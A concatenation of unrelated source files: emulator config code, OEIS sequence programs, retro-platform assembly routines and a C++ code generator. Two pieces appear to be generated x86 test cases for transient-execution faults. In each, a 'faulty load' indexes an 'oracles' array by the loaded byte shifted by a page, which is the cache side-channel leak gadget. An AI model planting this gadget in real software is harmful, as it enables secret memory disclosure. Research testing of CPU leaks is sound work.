void GetIniFile(std::wstring &iniFile)
{
iniFile.clear();
if(!IniDir.length()) {
WCHAR tmp[MAX_PATH] = {0};
GetModuleFileName(GetModuleHandle((LPWSTR)hInst), tmp, MAX_PATH);
std::wstring path(tmp);
size_t last = path.find_last_of(L'\\');
iniFile = path.substr(0, last);
iniFile.append(L"\\inis");
CreateDirectory(iniFile.c_str(), NULL);
iniFile.append(L"\\USBqemu-wheel.ini");
} else {
iniFile.append(IniDir);
iniFile.append(L"USBqemu-wheel.ini");
}
}
bool LoadSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, std::string& value)
{
wchar_t tmp[4096] = { 0 };
GetPrivateProfileStringW(section.c_str(), param, NULL, tmp, sizeof(tmp) / sizeof(*tmp), ini.c_str());
if (GetLastError() == ERROR_FILE_NOT_FOUND)
return false;
char tmpA[4096] = { 0 };
size_t num = 0;
wcstombs_s(&num, tmpA, tmp, sizeof(tmpA)); //TODO error-check
value = tmpA;
return true;
}
bool LoadSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, std::wstring& value)
{
wchar_t tmp[4096] = { 0 };
GetPrivateProfileStringW(section.c_str(), param, NULL, tmp, sizeof(tmp) / sizeof(*tmp), ini.c_str());
if (GetLastError() == ERROR_FILE_NOT_FOUND)
return false;
value = tmp;
return true;
}
bool LoadSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, bool& value)
{
//value = GetPrivateProfileIntW(section.c_str(), param, 0, ini.c_str());
wchar_t tmp[4096] = { 0 };
if (!GetPrivateProfileStringW(section.c_str(), param, NULL, tmp, sizeof(tmp) / sizeof(*tmp), ini.c_str()))
return false;
if (GetLastError() == ERROR_FILE_NOT_FOUND)
return false;
value = !!wcstoul(tmp, NULL, 10);
return true;
}
bool LoadSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, int32_t& value)
{
//value = GetPrivateProfileIntW(section.c_str(), param, 0, ini.c_str());
wchar_t tmp[4096] = { 0 };
if (!GetPrivateProfileStringW(section.c_str(), param, NULL, tmp, sizeof(tmp) / sizeof(*tmp), ini.c_str()))
return false;
if (GetLastError() == ERROR_FILE_NOT_FOUND)
return false;
value = wcstoul(tmp, NULL, 10);
return true;
}
bool SaveSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, const std::string& value)
{
std::wstring wstr;
wstr.assign(value.begin(), value.end());
return !!WritePrivateProfileStringW(section.c_str(), param, wstr.c_str(), ini.c_str());
}
bool SaveSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, const std::wstring& value)
{
return !!WritePrivateProfileStringW(section.c_str(), param, value.c_str(), ini.c_str());
}
bool SaveSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, const wchar_t* value)
{
return !!WritePrivateProfileStringW(section.c_str(), param, value, ini.c_str());
}
bool SaveSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, const bool value)
{
wchar_t tmp[2] = { 0 };
swprintf_s(tmp, L"%d", value ? 1 : 0);
return !!WritePrivateProfileStringW(section.c_str(), param, tmp, ini.c_str());
}
bool SaveSettingValue(const std::wstring& ini, const std::wstring& section, const wchar_t* param, const int32_t value)
{
wchar_t tmp[32] = { 0 };
swprintf_s(tmp, L"%d", value);
return !!WritePrivateProfileStringW(section.c_str(), param, tmp, ini.c_str());
}
void SaveConfig()
{
Config *Conf1 = &conf;
std::wstring szIniFile;
TCHAR szValue[256];
GetIniFile(szIniFile);
FILE *f = nullptr;
auto err = _wfopen_s(&f, szIniFile.c_str(), L"a+");
if (!f) {
MessageBoxW(NULL, L"Cannot save to ini!", L"USBqemu", MB_ICONERROR);
} else
fclose(f);
swprintf_s(szValue,L"%d",Conf1->Log);
WritePrivateProfileStringW(L"Interface", L"Logging", szValue, szIniFile.c_str());
swprintf_s(szValue,L"%d",Conf1->DFPPass);
WritePrivateProfileStringW(N_DEVICES, L"DFP Passthrough", szValue, szIniFile.c_str());
swprintf_s(szValue,L"%S",Conf1->Port[0].c_str());
WritePrivateProfileStringW(N_DEVICES, N_DEVICE_PORT0, szValue, szIniFile.c_str());
swprintf_s(szValue,L"%S",Conf1->Port[1].c_str());
WritePrivateProfileStringW(N_DEVICES, N_DEVICE_PORT1, szValue, szIniFile.c_str());
swprintf_s(szValue,L"%d",Conf1->WheelType[0]);
WritePrivateProfileStringW(N_DEVICES, N_WHEEL_TYPE0, szValue, szIniFile.c_str());
swprintf_s(szValue,L"%d",Conf1->WheelType[1]);
WritePrivateProfileStringW(N_DEVICES, N_WHEEL_TYPE1, szValue, szIniFile.c_str());
for (auto &kp : changedAPIs)
{
SaveSetting(nullptr, kp.first.first, kp.first.second, N_DEVICE_API, kp.second);
}
changedAPIs.clear();
}
void LoadConfig() {
Config *Conf1 = &conf;
std::wstring szIniFile;
wchar_t szValue[MAX_PATH+1];
char tmpA[MAX_PATH + 1] = { 0 };
size_t num = 0;
GetIniFile(szIniFile);
FILE *fp = nullptr;
auto err = _wfopen_s(&fp, szIniFile.c_str(), L"rt");//check if ini really exists
if (!fp)
{
conf.Log = 0;//default value
SaveConfig();//save and return
return ;
}
fclose(fp);
GetPrivateProfileStringW(L"Interface", L"Logging", NULL, szValue, 20, szIniFile.c_str());
Conf1->Log = wcstoul(szValue, NULL, 10);
GetPrivateProfileStringW(N_DEVICES, TEXT("DFP Passthrough"), NULL, szValue, 20, szIniFile.c_str());
Conf1->DFPPass = wcstoul(szValue, NULL, 10);
GetPrivateProfileStringW(N_DEVICES, N_DEVICE_PORT0, NULL, szValue, countof(szValue), szIniFile.c_str());
wcstombs_s(&num, tmpA, szValue, sizeof(tmpA));//TODO error-check
Conf1->Port[0] = tmpA;
GetPrivateProfileStringW(N_DEVICES, N_DEVICE_PORT1, NULL, szValue, countof(szValue), szIniFile.c_str());
wcstombs_s(&num, tmpA, szValue, sizeof(tmpA));//TODO error-check
Conf1->Port[1] = tmpA;
GetPrivateProfileStringW(N_DEVICES, N_WHEEL_TYPE0, NULL, szValue, 20, szIniFile.c_str());
Conf1->WheelType[0] = wcstoul(szValue, NULL, 10);
GetPrivateProfileStringW(N_DEVICES, N_WHEEL_TYPE1, NULL, szValue, 20, szIniFile.c_str());
Conf1->WheelType[1] = wcstoul(szValue, NULL, 10);
return ;
}
|
; CON device versions
section version
xdef con_vers
; V2.00 first release version for ST shifter pickup!
; V2.01 ST MONO version.
; V2.02 Corrections to XOR block and line edit.
; V2.03 Corrections to EDLN.
; V2.04 Corrections to black ink on stipple, and stipple on black paper.
; V2.05 Recolour added. IOB.EDLN does not suppress null lines.
; V2.06 Corrections for SCR open.
; V2.07 IOB.FLIN terminated by NL only.
; V2.08 Graphic positioned text added.
; Pending newlines cleared before cursor position query.
;
; V2.09 iob.smul (etc) with cursor enabled does not do pending newline.
; iob.elin with cursor position is now compatible with QDOS call instead
; of compatible with the documentation.
; iob.flin and iob.elin return err.bffl as soon as the buffer is full.
; iob.elin up and down arrows recognised at start of line.
;
; V2.10 iow_newl corrected
;
; V2.11 8 pixel wide characters accepted
;
; V2.12 Up and down cursor characters returned from iob.edln.
; V2.12+Pending newline changes.
;
; V2.13 Underscore corrected. Mode 8
;
; V2.14 cursor query cursor handling corrected
;
; V2.15 dangling cursor on edln flin corrected
;
; V2.16 major structural revision for extended colours
;
; V2.17 sprites can be used as cursor
con_vers equ '2.17'
con_wmess
dc.b 'Console V'
dc.l con_vers
dc.b ' ',$a
con_vmend
end
|
; A290312: Third diagonal sequence of the Sheffer triangle A094816 (special Charlier).
; 1,8,29,75,160,301,518,834,1275,1870,2651,3653,4914,6475,8380,10676,13413,16644,20425,24815,29876,35673,42274,49750,58175,67626,78183,89929,102950,117335,133176,150568,169609,190400,213045,237651,264328,293189,324350,357930,394051,432838,474419,518925,566490,617251,671348,728924,790125,855100,924001,996983,1074204,1155825,1242010,1332926,1428743,1529634,1635775,1747345,1864526,1987503,2116464,2251600,2393105,2541176,2696013,2857819,3026800,3203165,3387126,3578898,3778699,3986750,4203275,4428501,4662658,4905979,5158700,5421060,5693301,5975668,6268409,6571775,6886020,7211401,7548178,7896614,8256975,8629530,9014551,9412313,9823094,10247175,10684840,11136376,11602073,12082224,12577125,13087075
add $0,2
lpb $0
add $1,$2
trn $1,$0
add $3,$0
sub $0,1
add $2,$3
lpe
mov $0,$1
|
; A136302: Transform of A000027 by the T_{1,1} transformation (see link).
; 2,6,15,35,81,188,437,1016,2362,5491,12765,29675,68986,160373,372822,866706,2014847,4683951,10888865,25313540,58846841,136802308,318026782,739322571,1718716457,3995531011,9288482690,21593102505,50197873146
add $0,2
mov $1,2
mov $2,2
mov $3,3
lpb $0
sub $0,1
add $1,$3
add $3,$2
add $2,$1
sub $1,4
sub $2,4
lpe
|
; A324466: Exponent of highest power of 2 that divides multinomial(3*n;n,n,n).
; 0,1,1,4,1,2,4,6,1,2,2,7,4,5,6,8,1,2,2,5,2,3,7,9,4,5,5,9,6,7,8,10,1,2,2,5,2,3,5,7,2,3,3,10,7,8,9,11,4,5,5,8,5,6,9,11,6,7,7,11,8,9,10,12,1,2,2,5,2,3,5,7,2,3,3,8,5,6,7,9,2,3,3,6,3,4,10,12,7,8,8,12,9,10,11,13,4,5,5,8,5,6,8,10,5,6,6,12,9,10,11,13,6,7,7,10,7,8,11,13,8,9,9,13,10,11,12,14,1,2,2,5,2,3,5,7,2,3,3,8,5,6,7,9,2,3,3,6,3,4,8,10,5,6,6,10,7,8,9,11,2,3,3,6,3,4,6,8,3,4,4,13,10,11,12,14,7,8,8,11,8,9,12,14,9,10,10,14,11,12,13,15,4,5,5,8,5,6,8,10,5,6,6,11,8,9,10,12,5,6,6,9,6,7,12,14,9,10,10,14,11,12,13,15,6,7,7,10,7,8,10,12,7,8,8,14,11,12,13,15,8,9,9,12,9,10,13,15,10,11
lpb $0
mul $0,3
lpb $0
mov $2,$0
div $0,2
mod $2,3
add $1,$2
lpe
lpe
|
;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 06/06/2007
;
;
; - - - - - - - - - - - - - - - - - - - - -
;
; get a string from stream
;
; - - - - - - - - - - - - - - - - - - - - -
;
; char *nb_gets( int stream, char *bytes );
;
; - - - - - - - - - - - - - - - - - - - - -
;
;
; $Id: nb_gets.asm,v 1.3 2016/06/19 20:33:40 dom Exp $
;
SECTION code_clib
PUBLIC nb_gets
PUBLIC _nb_gets
EXTERN ZCALL
.nb_gets
._nb_gets
push ix ;save callers
ld ix,4
add ix,sp
ld e,(ix+2) ; stream
ld l,(ix+0) ; block location
ld h,(ix+1)
push hl
ld bc,255 ; read max 255 bytes
call ZCALL
defb $3c ; zblkin
ld a,255
sub c ; number of read bytes
ld e,a
ld d,0
pop hl
push hl
add hl,de
dec hl ; we overwrite the last <CR>
ld (hl),d ; with zero
pop hl
pop ix ;restore callers
ret
|
; ===============================================================
; Jun 2015
; ===============================================================
;
; double atof(const char *nptr)
;
; Convert initial portion of string nptr to double.
;
; ===============================================================
SECTION code_stdlib
PUBLIC asm_atof
EXTERN asm_strtod
asm_atof:
; enter : hl = char *nptr
;
; exit : de = char * (first unconsumed char)
; *endp as per C11
;
; success
;
; AC' = double x
; carry reset
;
; fail if range error
;
; exx = +- infinity
; carry set, errno = ERANGE
;
; fail if invalid string
;
; exx = 0.0
; carry set, errno = EINVAL
;
; fail if nan not supported
;
; exx = 0.0
; carry set, errno = EINVAL
;
; uses : af, bc, de, hl, af', bc', de', hl'
ld de,0
jp asm_strtod
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xb63d, %rbp
nop
nop
nop
nop
sub %rax, %rax
mov (%rbp), %dx
nop
add $54839, %rax
lea addresses_D_ht+0xcb9b, %r10
nop
nop
nop
nop
and %rdi, %rdi
movl $0x61626364, (%r10)
nop
nop
nop
nop
cmp $2267, %rax
lea addresses_WT_ht+0x10b5b, %rsi
lea addresses_UC_ht+0x1eb75, %rdi
and %r11, %r11
mov $26, %rcx
rep movsb
nop
and %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0x439b, %rax
nop
cmp $3796, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, (%rax)
nop
nop
xor %rbp, %rbp
// Load
lea addresses_UC+0x14e01, %r15
nop
nop
cmp $53814, %rbx
mov (%r15), %ax
cmp %rdi, %rdi
// Store
lea addresses_normal+0x192eb, %r15
nop
add $53808, %rbx
mov $0x5152535455565758, %rax
movq %rax, (%r15)
nop
nop
nop
dec %rax
// Store
lea addresses_D+0x1f601, %rbx
nop
inc %rax
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
nop
cmp $1938, %rdi
// Store
lea addresses_US+0x1769b, %rbp
clflush (%rbp)
nop
cmp %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, (%rbp)
nop
nop
nop
cmp $32744, %rbx
// Store
lea addresses_A+0x1144d, %rbp
nop
nop
xor $7740, %rax
movw $0x5152, (%rbp)
and %rsi, %rsi
// Store
lea addresses_RW+0x1b15b, %r15
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r15)
nop
nop
nop
cmp $18775, %r15
// Store
lea addresses_WT+0x2fcb, %rsi
clflush (%rsi)
nop
nop
nop
nop
cmp $22969, %rcx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
nop
add $27224, %rbx
// Store
lea addresses_D+0xf4b, %rax
and %rcx, %rcx
mov $0x5152535455565758, %r15
movq %r15, %xmm3
vmovups %ymm3, (%rax)
add $58021, %rbp
// Store
lea addresses_normal+0x1389b, %r15
clflush (%r15)
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $0x5152535455565758, %rax
movq %rax, %xmm7
movups %xmm7, (%r15)
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_US+0x1f39b, %rdi
nop
nop
nop
nop
nop
xor %rcx, %rcx
movw $0x5152, (%rdi)
sub %rdi, %rdi
// Store
lea addresses_US+0x1ab9b, %rdi
nop
nop
dec %rbp
movl $0x51525354, (%rdi)
nop
sub $57199, %rsi
// Faulty Load
lea addresses_US+0x1f39b, %rbp
nop
cmp %rdi, %rdi
mov (%rbp), %si
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_US', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 9}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}}
{'52': 1}
52
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x8678, %rsi
lea addresses_UC_ht+0x17e98, %rdi
nop
nop
add $64338, %r9
mov $36, %rcx
rep movsl
add $6022, %rdx
lea addresses_WT_ht+0x45e8, %rsi
lea addresses_A_ht+0xc438, %rdi
clflush (%rsi)
nop
nop
sub $32541, %r8
mov $77, %rcx
rep movsl
nop
nop
nop
nop
sub %r8, %r8
lea addresses_WC_ht+0x88fb, %rdx
nop
nop
nop
nop
nop
add %rax, %rax
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rdx)
xor $21605, %rax
lea addresses_A_ht+0x17838, %rcx
nop
nop
nop
and $21797, %rax
mov $0x6162636465666768, %r9
movq %r9, %xmm3
vmovups %ymm3, (%rcx)
nop
cmp $39989, %rax
lea addresses_UC_ht+0x15508, %rax
nop
nop
nop
lfence
and $0xffffffffffffffc0, %rax
vmovntdqa (%rax), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
nop
sub $8778, %r8
lea addresses_WC_ht+0x7828, %rsi
lea addresses_WT_ht+0xb678, %rdi
nop
nop
nop
nop
sub $4871, %r14
mov $120, %rcx
rep movsq
nop
nop
cmp $13466, %rcx
lea addresses_UC_ht+0x13c78, %rax
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
vmovups %ymm6, (%rax)
nop
nop
cmp %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r8
push %rax
push %rbp
push %rbx
// Store
lea addresses_A+0x3838, %r8
nop
nop
nop
nop
nop
xor $45010, %r13
movw $0x5152, (%r8)
inc %rbx
// Store
lea addresses_WC+0x8130, %r15
xor %rax, %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm1
movaps %xmm1, (%r15)
nop
sub %r13, %r13
// Store
lea addresses_WC+0x1b6f8, %r8
nop
nop
nop
nop
cmp %r15, %r15
movl $0x51525354, (%r8)
nop
add %rbp, %rbp
// Faulty Load
lea addresses_PSE+0x10678, %rbx
nop
nop
nop
nop
sub $5528, %r8
movups (%rbx), %xmm1
vpextrq $1, %xmm1, %r13
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 4, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; Trap#2 error interaction
section utility
include dev8_keys_qdos_ioa
include dev8_mac_xref
xdef do_ioafer ; Do trap #2
;+++
; Do trap#2, and ask in error case for Edit, Retry or Abort.
;
; ENTRY EXIT
; D0.l required action -1 Error or ESC / 3 Edit name
;---
do_ioafer
movem.l d1-d3/a1,-(sp) ; keep registers for another go
move.l d0,-(sp) ; and keep required action
move.l a0,d2 ; save a0
trap #do.ioa
tst.l d0
beq.s ioafer_ok ; all is fine
move.l d2,a0 ; restore name !!!
moveq #-1,d1 ; origin
moveq #-1,d2 ; colourway
moveq #1,d3 ; allow edit / overwrite
xjsr mu_filer
bne.s ioafer_err
tst.w d3 ; ESC
beq.s ioafer_err ; yes, so return
cmp.w #1,d3 ; retry
beq.s ioafer_retry
cmp.w #2,d3 ; overwrite
beq.s ioafer_overwrite
move.l d3,d0 ; show edit
bra.s ioafer_ok
ioafer_overwrite
move.l (sp)+,d0 ; get function code back
movem.l (sp)+,d1-d3/a1 ; and registers
moveq #ioa.kovr,d3 ; change to overwrite
bra.s do_ioafer ; .. and retry
ioafer_retry
move.l (sp)+,d0 ; get function code back
movem.l (sp)+,d1-d3/a1 ; and registers
bra.s do_ioafer ; .. and retry
ioafer_err
moveq #-1,d0 ; error
ioafer_ok
addq.l #4,sp ; remove function
movem.l (sp)+,d1-d3/a1
tst.l d0
rts
end
|
;================================================================================
; Blind Boss fight
;--------------------------------------------------------------------------------
org $1DA081 ; Original Code
JML check_blind_boss_room
Check_for_Blind_Fight:
org $1DA090
Initialize_Blind_Fight: |
;generated automatically via makeasms.bat
include gfxlib.i
CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
GFXLIB_JUMP pj_get_vseg gfxl_get_vseg
code ends
end
|
#include "framework/lite/code_gen_cpp.h"
namespace anakin {
namespace lite {
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_license() {
_code<< "/* Copyright (c) 2018 Baidu, Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*/\n\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_header_start() {
_code.Clean();
gen_license();
_code.feed("#ifndef ANAKIN_%s_H \n", _code_name.c_str());
_code.feed("#define ANAKIN_%s_H \n\n", _code_name.c_str());
_code<<"#include <stdio.h>\n";
_code<<"#include <stdlib.h>\n";
_code<<"#include <string.h>\n\n";
_code<<"#include <saber/lite/core/common_lite.h>\n";
_code<<"#include <saber/lite/funcs/detection_lite.h>\n";
_code<<"#include <saber/lite/funcs/saber_activation.h>\n";
_code<<"#include <saber/lite/funcs/saber_concat.h>\n";
_code<<"#include <saber/lite/funcs/saber_detection_output.h>\n";
_code<<"#include <saber/lite/funcs/saber_eltwise.h>\n";
_code<<"#include <saber/lite/funcs/saber_permute.h>\n";
_code<<"#include <saber/lite/funcs/saber_prelu.h>\n";
_code<<"#include <saber/lite/funcs/saber_priorbox.h>\n";
_code<<"#include <saber/lite/funcs/saber_slice.h>\n";
_code<<"#include <saber/lite/funcs/timer_lite.h>\n";
_code<<"#include <saber/lite/funcs/saber_conv.h>\n";
_code<<"#include <saber/lite/funcs/saber_conv_act.h>\n";
_code<<"#include <saber/lite/funcs/saber_fc.h>\n";
_code<<"#include <saber/lite/funcs/saber_pooling.h>\n";
_code<<"#include <saber/lite/funcs/saber_softmax.h>\n\n";
_code<<"using namespace anakin;\n";
_code<<"using namespace anakin::saber;\n";
_code<<"using namespace anakin::saber::lite;\n\n";
_code<<"namespace anakin { \n\n";
